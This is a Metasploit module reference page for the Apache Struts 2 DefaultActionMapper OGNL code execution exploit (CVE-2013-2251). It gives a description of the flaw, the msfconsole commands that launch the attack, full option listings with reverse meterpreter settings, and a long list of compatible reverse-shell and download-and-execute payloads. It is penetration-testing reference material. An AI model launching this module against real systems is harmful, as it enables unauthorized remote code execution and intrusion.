Apache Struts 2 DefaultActionMapper Prefixes OGNL Code Execution - Metasploit


This page contains detailed information about how to use the exploit/multi/http/struts_default_action_mapper metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Apache Struts 2 DefaultActionMapper Prefixes OGNL Code Execution
Module: exploit/multi/http/struts_default_action_mapper
Source code: modules/exploits/multi/http/struts_default_action_mapper.rb
Disclosure date: 2013-07-02
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Linux, Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2013-2251

The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with "action:" or "redirect:", followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms. In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


msf > use exploit/multi/http/struts_default_action_mapper
msf exploit(struts_default_action_mapper) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Go back to menu.

Msfconsole Usage


Here is how the multi/http/struts_default_action_mapper exploit module looks in the msfconsole:

msf6 > use exploit/multi/http/struts_default_action_mapper

[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/http/struts_default_action_mapper) > show info

       Name: Apache Struts 2 DefaultActionMapper Prefixes OGNL Code Execution
     Module: exploit/multi/http/struts_default_action_mapper
   Platform: Linux, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-07-02

Provided by:
  Takeshi Terada
  sinn3r <[email protected]>
  juan vazquez <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Automatic
  1   Windows
  2   Linux

Check supported:
  Yes

Basic options:
  Name                   Current Setting                           Required  Description
  ----                   ---------------                           --------  -----------
  HTTP_DELAY             60                                        yes       Time that the HTTP Server will wait for the payload request
  PAYLOAD_REQUEST_DELAY  5                                         yes       Time to wait for the payload request
  Proxies                                                          no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                                                           yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT                  8080                                      yes       The target port (TCP)
  SRVHOST                0.0.0.0                                   yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT                8080                                      yes       The local port to listen on.
  SSL                    false                                     no        Negotiate SSL/TLS for outgoing connections
  SSLCert                                                          no        Path to a custom SSL certificate (default is randomly generated)
  TARGETURI              /struts2-blank/example/HelloWorld.action  yes       Action URI
  URIPATH                                                          no        The URI to use for this exploit (default is random)
  VHOST                                                            no        HTTP server virtual host
  WritableDir            /tmp                                      yes       A directory where we can write files (only on Linux targets)

Payload information:

Description:
  The Struts 2 DefaultActionMapper supports a method for short-circuit 
  navigation state changes by prefixing parameters with "action:" or 
  "redirect:", followed by a desired navigational target expression. 
  This mechanism was intended to help with attaching navigational 
  information to buttons within forms. In Struts 2 before 2.3.15.1 the 
  information following "action:", "redirect:" or "redirectAction:" is 
  not properly sanitized. Since said information will be evaluated as 
  OGNL expression against the value stack, this introduces the 
  possibility to inject server side code.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2013-2251
  OSVDB (95405)
  http://www.securityfocus.com/bid/61189
  http://struts.apache.org/release/2.3.x/docs/s2-016.html

Module Options


This is a complete list of options available in the multi/http/struts_default_action_mapper exploit:

msf6 exploit(multi/http/struts_default_action_mapper) > show options

Module options (exploit/multi/http/struts_default_action_mapper):

   Name                   Current Setting                           Required  Description
   ----                   ---------------                           --------  -----------
   HTTP_DELAY             60                                        yes       Time that the HTTP Server will wait for the payload request
   PAYLOAD_REQUEST_DELAY  5                                         yes       Time to wait for the payload request
   Proxies                                                          no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                                                           yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT                  8080                                      yes       The target port (TCP)
   SRVHOST                0.0.0.0                                   yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT                8080                                      yes       The local port to listen on.
   SSL                    false                                     no        Negotiate SSL/TLS for outgoing connections
   SSLCert                                                          no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI              /struts2-blank/example/HelloWorld.action  yes       Action URI
   URIPATH                                                          no        The URI to use for this exploit (default is random)
   VHOST                                                            no        HTTP server virtual host
   WritableDir            /tmp                                      yes       A directory where we can write files (only on Linux targets)

Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options


Here is a complete list of advanced options supported by the multi/http/struts_default_action_mapper exploit:

msf6 exploit(multi/http/struts_default_action_mapper) > show advanced

Module advanced options (exploit/multi/http/struts_default_action_mapper):

   Name                    Current Setting                                     Required  Description
   ----                    ---------------                                     --------  -----------
   ContextInformationFile                                                      no        The information file that contains context information
   DOMAIN                  WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                               no        Disable the handler code for the selected payload
   EXE::Custom                                                                 no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false                                               no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false                                               no        Use the default template in case the specified one is missing
   EXE::Inject             false                                               no        Set to preserve the original EXE function
   EXE::OldMethod          false                                               no        Set to use the substitution EXE generation method.
   EXE::Path                                                                   no        The directory in which to look for the executable template
   EXE::Template                                                               no        The executable template file name.
   EnableContextEncoding   false                                               no        Use transient context when encoding payloads
   FileDropperDelay                                                            no        Delay in seconds before attempting cleanup
   FingerprintCheck        true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                           no        HTTP connection and receive timeout
   HttpPassword                                                                no        The HTTP password to specify for authentication
   HttpRawHeaders                                                              no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                                no        The HTTP username to specify for authentication
   ListenerComm                                                                no        The specific communication channel to use for this service
   MSI::Custom                                                                 no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false                                               no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                                   no        The directory in which to look for the msi template
   MSI::Template                                                               no        The msi template file name
   MSI::UAC                false                                               no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   SSLCipher                                                                   no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false                                               no        Enable SSL/TLS-level compression
   SSLVersion              Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   SendRobots              false                                               no        Return a robots.txt file if asked for one
   URIHOST                                                                     no        Host to use in URI (useful for tunnels)
   URIPORT                                                                     no        Port to use in URI (useful for tunnels)
   UserAgent               Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE                 false                                               no        Enable detailed status messages
   WORKSPACE                                                                   no        Specify the workspace for this module
   WfsDelay                10                                                  no        Additional delay in seconds to wait for a session

Payload advanced options (linux/x86/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AppendExit                   false            no        Append a stub that executes the exit(0) system call
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterDebugLevel        0                yes       Set debug level for meterpreter 0-3 (Default output is strerr)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependChrootBreak           false            no        Prepend a stub that will break out of a chroot (includes setreuid to root)
   PrependFork                  false            no        Prepend a stub that starts the payload in its own process via fork
   PrependSetgid                false            no        Prepend a stub that executes the setgid(0) system call
   PrependSetregid              false            no        Prepend a stub that executes the setregid(0, 0) system call
   PrependSetresgid             false            no        Prepend a stub that executes the setresgid(0, 0, 0) system call
   PrependSetresuid             false            no        Prepend a stub that executes the setresuid(0, 0, 0) system call
   PrependSetreuid              false            no        Prepend a stub that executes the setreuid(0, 0) system call
   PrependSetuid                false            no        Prepend a stub that executes the setuid(0) system call
   RemoteMeterpreterDebugFile                    no        Redirect Debug Info to a Log File
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the multi/http/struts_default_action_mapper module can exploit:

msf6 exploit(multi/http/struts_default_action_mapper) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic
   1   Windows
   2   Linux

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/struts_default_action_mapper exploit:

msf6 exploit(multi/http/struts_default_action_mapper) > show payloads

Compatible Payloads
===================

   #    Name                                                        Disclosure Date  Rank    Check  Description
   -    ----                                                        ---------------  ----    -----  -----------
   0    payload/generic/custom                                                       normal  No     Custom Payload
   1    payload/generic/debug_trap                                                   normal  No     Generic x86 Debug Trap
   2    payload/generic/shell_bind_tcp                                               normal  No     Generic Command Shell, Bind TCP Inline
   3    payload/generic/shell_reverse_tcp                                            normal  No     Generic Command Shell, Reverse TCP Inline
   4    payload/generic/tight_loop                                                   normal  No     Generic x86 Tight Loop
   5    payload/linux/x86/chmod                                                      normal  No     Linux Chmod
   6    payload/linux/x86/exec                                                       normal  No     Linux Execute Command
   7    payload/linux/x86/meterpreter/bind_ipv6_tcp                                  normal  No     Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
   8    payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid                             normal  No     Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   9    payload/linux/x86/meterpreter/bind_nonx_tcp                                  normal  No     Linux Mettle x86, Bind TCP Stager
   10   payload/linux/x86/meterpreter/bind_tcp                                       normal  No     Linux Mettle x86, Bind TCP Stager (Linux x86)
   11   payload/linux/x86/meterpreter/bind_tcp_uuid                                  normal  No     Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
   12   payload/linux/x86/meterpreter/reverse_ipv6_tcp                               normal  No     Linux Mettle x86, Reverse TCP Stager (IPv6)
   13   payload/linux/x86/meterpreter/reverse_nonx_tcp                               normal  No     Linux Mettle x86, Reverse TCP Stager
   14   payload/linux/x86/meterpreter/reverse_tcp                                    normal  No     Linux Mettle x86, Reverse TCP Stager
   15   payload/linux/x86/meterpreter/reverse_tcp_uuid                               normal  No     Linux Mettle x86, Reverse TCP Stager
   16   payload/linux/x86/meterpreter_reverse_http                                   normal  No     Linux Meterpreter, Reverse HTTP Inline
   17   payload/linux/x86/meterpreter_reverse_https                                  normal  No     Linux Meterpreter, Reverse HTTPS Inline
   18   payload/linux/x86/meterpreter_reverse_tcp                                    normal  No     Linux Meterpreter, Reverse TCP Inline
   19   payload/linux/x86/metsvc_bind_tcp                                            normal  No     Linux Meterpreter Service, Bind TCP
   20   payload/linux/x86/metsvc_reverse_tcp                                         normal  No     Linux Meterpreter Service, Reverse TCP Inline
   21   payload/linux/x86/read_file                                                  normal  No     Linux Read File
   22   payload/linux/x86/shell/bind_ipv6_tcp                                        normal  No     Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
   23   payload/linux/x86/shell/bind_ipv6_tcp_uuid                                   normal  No     Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   24   payload/linux/x86/shell/bind_nonx_tcp                                        normal  No     Linux Command Shell, Bind TCP Stager
   25   payload/linux/x86/shell/bind_tcp                                             normal  No     Linux Command Shell, Bind TCP Stager (Linux x86)
   26   payload/linux/x86/shell/bind_tcp_uuid                                        normal  No     Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
   27   payload/linux/x86/shell/reverse_ipv6_tcp                                     normal  No     Linux Command Shell, Reverse TCP Stager (IPv6)
   28   payload/linux/x86/shell/reverse_nonx_tcp                                     normal  No     Linux Command Shell, Reverse TCP Stager
   29   payload/linux/x86/shell/reverse_tcp                                          normal  No     Linux Command Shell, Reverse TCP Stager
   30   payload/linux/x86/shell/reverse_tcp_uuid                                     normal  No     Linux Command Shell, Reverse TCP Stager
   31   payload/linux/x86/shell_bind_ipv6_tcp                                        normal  No     Linux Command Shell, Bind TCP Inline (IPv6)
   32   payload/linux/x86/shell_bind_tcp                                             normal  No     Linux Command Shell, Bind TCP Inline
   33   payload/linux/x86/shell_bind_tcp_random_port                                 normal  No     Linux Command Shell, Bind TCP Random Port Inline
   34   payload/linux/x86/shell_reverse_tcp                                          normal  No     Linux Command Shell, Reverse TCP Inline
   35   payload/linux/x86/shell_reverse_tcp_ipv6                                     normal  No     Linux Command Shell, Reverse TCP Inline (IPv6)
   36   payload/windows/dllinject/bind_hidden_ipknock_tcp                            normal  No     Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
   37   payload/windows/dllinject/bind_hidden_tcp                                    normal  No     Reflective DLL Injection, Hidden Bind TCP Stager
   38   payload/windows/dllinject/bind_ipv6_tcp                                      normal  No     Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
   39   payload/windows/dllinject/bind_ipv6_tcp_uuid                                 normal  No     Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   40   payload/windows/dllinject/bind_named_pipe                                    normal  No     Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
   41   payload/windows/dllinject/bind_nonx_tcp                                      normal  No     Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
   42   payload/windows/dllinject/bind_tcp                                           normal  No     Reflective DLL Injection, Bind TCP Stager (Windows x86)
   43   payload/windows/dllinject/bind_tcp_rc4                                       normal  No     Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   44   payload/windows/dllinject/bind_tcp_uuid                                      normal  No     Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
   45   payload/windows/dllinject/reverse_hop_http                                   normal  No     Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
   46   payload/windows/dllinject/reverse_http                                       normal  No     Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)
   47   payload/windows/dllinject/reverse_http_proxy_pstore                          normal  No     Reflective DLL Injection, Reverse HTTP Stager Proxy
   48   payload/windows/dllinject/reverse_ipv6_tcp                                   normal  No     Reflective DLL Injection, Reverse TCP Stager (IPv6)
   49   payload/windows/dllinject/reverse_nonx_tcp                                   normal  No     Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
   50   payload/windows/dllinject/reverse_ord_tcp                                    normal  No     Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
   51   payload/windows/dllinject/reverse_tcp                                        normal  No     Reflective DLL Injection, Reverse TCP Stager
   52   payload/windows/dllinject/reverse_tcp_allports                               normal  No     Reflective DLL Injection, Reverse All-Port TCP Stager
   53   payload/windows/dllinject/reverse_tcp_dns                                    normal  No     Reflective DLL Injection, Reverse TCP Stager (DNS)
   54   payload/windows/dllinject/reverse_tcp_rc4                                    normal  No     Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   55   payload/windows/dllinject/reverse_tcp_rc4_dns                                normal  No     Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   56   payload/windows/dllinject/reverse_tcp_uuid                                   normal  No     Reflective DLL Injection, Reverse TCP Stager with UUID Support
   57   payload/windows/dllinject/reverse_winhttp                                    normal  No     Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)
   58   payload/windows/dns_txt_query_exec                                           normal  No     DNS TXT Record Payload Download and Execution
   59   payload/windows/download_exec                                                normal  No     Windows Executable Download (http,https,ftp) and Execute
   60   payload/windows/exec                                                         normal  No     Windows Execute Command
   61   payload/windows/loadlibrary                                                  normal  No     Windows LoadLibrary Path
   62   payload/windows/messagebox                                                   normal  No     Windows MessageBox
   63   payload/windows/meterpreter/bind_hidden_ipknock_tcp                          normal  No     Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
   64   payload/windows/meterpreter/bind_hidden_tcp                                  normal  No     Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
   65   payload/windows/meterpreter/bind_ipv6_tcp                                    normal  No     Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   66   payload/windows/meterpreter/bind_ipv6_tcp_uuid                               normal  No     Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   67   payload/windows/meterpreter/bind_named_pipe                                  normal  No     Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager
   68   payload/windows/meterpreter/bind_nonx_tcp                                    normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
   69   payload/windows/meterpreter/bind_tcp                                         normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
   70   payload/windows/meterpreter/bind_tcp_rc4                                     normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   71   payload/windows/meterpreter/bind_tcp_uuid                                    normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   72   payload/windows/meterpreter/reverse_hop_http                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   73   payload/windows/meterpreter/reverse_http                                     normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)
   74   payload/windows/meterpreter/reverse_http_proxy_pstore                        normal  No     Windows Meterpreter (Reflective Injection), Reverse HTTP Stager Proxy
   75   payload/windows/meterpreter/reverse_https                                    normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)
   76   payload/windows/meterpreter/reverse_https_proxy                              normal  No     Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
   77   payload/windows/meterpreter/reverse_ipv6_tcp                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
   78   payload/windows/meterpreter/reverse_named_pipe                               normal  No     Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
   79   payload/windows/meterpreter/reverse_nonx_tcp                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   80   payload/windows/meterpreter/reverse_ord_tcp                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   81   payload/windows/meterpreter/reverse_tcp                                      normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager
   82   payload/windows/meterpreter/reverse_tcp_allports                             normal  No     Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
   83   payload/windows/meterpreter/reverse_tcp_dns                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
   84   payload/windows/meterpreter/reverse_tcp_rc4                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   85   payload/windows/meterpreter/reverse_tcp_rc4_dns                              normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   86   payload/windows/meterpreter/reverse_tcp_uuid                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
   87   payload/windows/meterpreter/reverse_winhttp                                  normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
   88   payload/windows/meterpreter/reverse_winhttps                                 normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (winhttp)
   89   payload/windows/meterpreter_bind_named_pipe                                  normal  No     Windows Meterpreter Shell, Bind Named Pipe Inline
   90   payload/windows/meterpreter_bind_tcp                                         normal  No     Windows Meterpreter Shell, Bind TCP Inline
   91   payload/windows/meterpreter_reverse_http                                     normal  No     Windows Meterpreter Shell, Reverse HTTP Inline
   92   payload/windows/meterpreter_reverse_https                                    normal  No     Windows Meterpreter Shell, Reverse HTTPS Inline
   93   payload/windows/meterpreter_reverse_ipv6_tcp                                 normal  No     Windows Meterpreter Shell, Reverse TCP Inline (IPv6)
   94   payload/windows/meterpreter_reverse_tcp                                      normal  No     Windows Meterpreter Shell, Reverse TCP Inline
   95   payload/windows/metsvc_bind_tcp                                              normal  No     Windows Meterpreter Service, Bind TCP
   96   payload/windows/metsvc_reverse_tcp                                           normal  No     Windows Meterpreter Service, Reverse TCP Inline
   97   payload/windows/patchupdllinject/bind_hidden_ipknock_tcp                     normal  No     Windows Inject DLL, Hidden Bind Ipknock TCP Stager
   98   payload/windows/patchupdllinject/bind_hidden_tcp                             normal  No     Windows Inject DLL, Hidden Bind TCP Stager
   99   payload/windows/patchupdllinject/bind_ipv6_tcp                               normal  No     Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)
   100  payload/windows/patchupdllinject/bind_ipv6_tcp_uuid                          normal  No     Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   101  payload/windows/patchupdllinject/bind_named_pipe                             normal  No     Windows Inject DLL, Windows x86 Bind Named Pipe Stager
   102  payload/windows/patchupdllinject/bind_nonx_tcp                               normal  No     Windows Inject DLL, Bind TCP Stager (No NX or Win7)
   103  payload/windows/patchupdllinject/bind_tcp                                    normal  No     Windows Inject DLL, Bind TCP Stager (Windows x86)
   104  payload/windows/patchupdllinject/bind_tcp_rc4                                normal  No     Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   105  payload/windows/patchupdllinject/bind_tcp_uuid                               normal  No     Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)
   106  payload/windows/patchupdllinject/reverse_ipv6_tcp                            normal  No     Windows Inject DLL, Reverse TCP Stager (IPv6)
   107  payload/windows/patchupdllinject/reverse_nonx_tcp                            normal  No     Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
   108  payload/windows/patchupdllinject/reverse_ord_tcp                             normal  No     Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
   109  payload/windows/patchupdllinject/reverse_tcp                                 normal  No     Windows Inject DLL, Reverse TCP Stager
   110  payload/windows/patchupdllinject/reverse_tcp_allports                        normal  No     Windows Inject DLL, Reverse All-Port TCP Stager
   111  payload/windows/patchupdllinject/reverse_tcp_dns                             normal  No     Windows Inject DLL, Reverse TCP Stager (DNS)
   112  payload/windows/patchupdllinject/reverse_tcp_rc4                             normal  No     Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   113  payload/windows/patchupdllinject/reverse_tcp_rc4_dns                         normal  No     Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   114  payload/windows/patchupdllinject/reverse_tcp_uuid                            normal  No     Windows Inject DLL, Reverse TCP Stager with UUID Support
   115  payload/windows/patchupmeterpreter/bind_hidden_ipknock_tcp                   normal  No     Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
   116  payload/windows/patchupmeterpreter/bind_hidden_tcp                           normal  No     Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager
   117  payload/windows/patchupmeterpreter/bind_ipv6_tcp                             normal  No     Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)
   118  payload/windows/patchupmeterpreter/bind_ipv6_tcp_uuid                        normal  No     Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   119  payload/windows/patchupmeterpreter/bind_named_pipe                           normal  No     Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager
   120  payload/windows/patchupmeterpreter/bind_nonx_tcp                             normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
   121  payload/windows/patchupmeterpreter/bind_tcp                                  normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)
   122  payload/windows/patchupmeterpreter/bind_tcp_rc4                              normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   123  payload/windows/patchupmeterpreter/bind_tcp_uuid                             normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)
   124  payload/windows/patchupmeterpreter/reverse_ipv6_tcp                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)
   125  payload/windows/patchupmeterpreter/reverse_nonx_tcp                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
   126  payload/windows/patchupmeterpreter/reverse_ord_tcp                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   127  payload/windows/patchupmeterpreter/reverse_tcp                               normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager
   128  payload/windows/patchupmeterpreter/reverse_tcp_allports                      normal  No     Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager
   129  payload/windows/patchupmeterpreter/reverse_tcp_dns                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)
   130  payload/windows/patchupmeterpreter/reverse_tcp_rc4                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   131  payload/windows/patchupmeterpreter/reverse_tcp_rc4_dns                       normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   132  payload/windows/patchupmeterpreter/reverse_tcp_uuid                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support
   133  payload/windows/peinject/bind_hidden_ipknock_tcp                             normal  No     Windows Inject PE Files, Hidden Bind Ipknock TCP Stager
   134  payload/windows/peinject/bind_hidden_tcp                                     normal  No     Windows Inject PE Files, Hidden Bind TCP Stager
   135  payload/windows/peinject/bind_ipv6_tcp                                       normal  No     Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)
   136  payload/windows/peinject/bind_ipv6_tcp_uuid                                  normal  No     Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   137  payload/windows/peinject/bind_named_pipe                                     normal  No     Windows Inject PE Files, Windows x86 Bind Named Pipe Stager
   138  payload/windows/peinject/bind_nonx_tcp                                       normal  No     Windows Inject PE Files, Bind TCP Stager (No NX or Win7)
   139  payload/windows/peinject/bind_tcp                                            normal  No     Windows Inject PE Files, Bind TCP Stager (Windows x86)
   140  payload/windows/peinject/bind_tcp_rc4                                        normal  No     Windows Inject PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   141  payload/windows/peinject/bind_tcp_uuid                                       normal  No     Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)
   142  payload/windows/peinject/reverse_ipv6_tcp                                    normal  No     Windows Inject PE Files, Reverse TCP Stager (IPv6)
   143  payload/windows/peinject/reverse_named_pipe                                  normal  No     Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager
   144  payload/windows/peinject/reverse_nonx_tcp                                    normal  No     Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
